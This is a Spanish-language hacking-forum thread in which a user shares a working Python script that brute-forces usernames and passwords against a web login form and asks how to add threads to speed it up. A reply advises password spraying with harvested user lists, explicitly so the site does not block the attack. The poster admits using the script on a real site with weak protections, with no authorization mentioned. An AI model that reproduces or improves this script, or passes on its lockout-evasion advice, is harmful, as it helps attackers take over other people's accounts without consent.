comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] [Python] Hacer que mi brute forcer basico use threads

  • 3 Respuestas
  • 1211 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado darkchoto

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Octubre 20, 2015, 05:41:55 am »
Buenas a todos.

Me he programado un script que me hace bruteforce de usuarios y contraseñas en una web x, el asunto es que mi script funciona a la perfeccion pero es algo lento. Me gustaria saber como implementarle threading para acelerar el proceso de bruteforce.

La parte del codigo que hace el brute es la siguiente:

Código: Python
  1. #users y passwords son dos listas como se debe suponer
  2. for i in range(len(users)):
  3.         post['user'] = users[i]
  4.         print '\nProbando usuario: %s' % users[i]
  5.         for x in range(len(passwords)):
  6.                 post['pass'] = passwords[x]
  7.                 r = requests.post('http://x.com' , data=post , headers=headers)
  8. #Esta parte solo muestra en la terminal con la de las pass que se han probado y la password en si en que va
  9.                 sys.stdout.write('\rPassword: %s        %s/%s' % (passwords[x],passwords.index(passwords[x])+1,len(passwords)))
  10.                 sys.stdout.flush()
  11.                 if not r.content.find('Welcome') > -1:
  12.                         continue
  13.                 else:
  14.                         print '\nUser:%s Password:%s' % (users[i],passwords[x])
  15.                         break
  16.                
  17.  

De ante mano gracias a cualquier ayuda que me puedan brindar.
« Última modificación: Diciembre 10, 2015, 01:42:07 pm por WhiZ »

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Octubre 20, 2015, 06:33:30 am »
Hola @No tienes permisos para ver links. Registrate o Entra con tu cuenta! Para hacerlo podés recurrir a la clase Thread del módulo No tienes permisos para ver links. Registrate o Entra con tu cuenta.

Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :

Código: Python
  1. passwords= []
  2. users = []
  3.  
  4. for password in passwords:
  5.     for user in users:
  6.         try:
  7.             # resto del código
  8.         except Exception as e:
  9.             # manejo de errores

Saludos!
WhiZ


Desconectado darkchoto

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Octubre 21, 2015, 01:27:42 am »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Hola @No tienes permisos para ver links. Registrate o Entra con tu cuenta! Para hacerlo podés recurrir a la clase Thread del módulo No tienes permisos para ver links. Registrate o Entra con tu cuenta.

Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :

Código: Python
  1. passwords= []
  2. users = []
  3.  
  4. for password in passwords:
  5.     for user in users:
  6.         try:
  7.             # resto del código
  8.         except Exception as e:
  9.             # manejo de errores

Saludos!
WhiZ
Gracias por tu respuesta, entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.

Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.

Espero tu o alguien mas me pueda dar una luz con esto.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Octubre 23, 2015, 02:30:01 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.

Más allá de la página que estés auditando en este momento, siempre te conviene hacer un código flexible. En todo caso, lo que yo haría es un script que pregunte cómo realizar el ataque: por usuario o por contraseña.

No tienes permisos para ver links. Registrate o Entra con tu cuenta
Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.

En las aplicaciones que emplean varios hilos, si éstos necesitan acceder a un mismo recurso, lo ideal es bloquear el acceso al mismo mientras esté siendo utilizado. En tu caso, podés hacer esto con la No tienes permisos para ver links. Registrate o Entra con tu cuenta.

En No tienes permisos para ver links. Registrate o Entra con tu cuenta de Raul González Duque, precisamente en la sección "Sincronización" del capítulo "Threads", podés encontrar una buena explicación.

Espero que te sirva!

Saludos!
WhiZ


 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 7005
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2184
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1588
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2843
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 3415
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon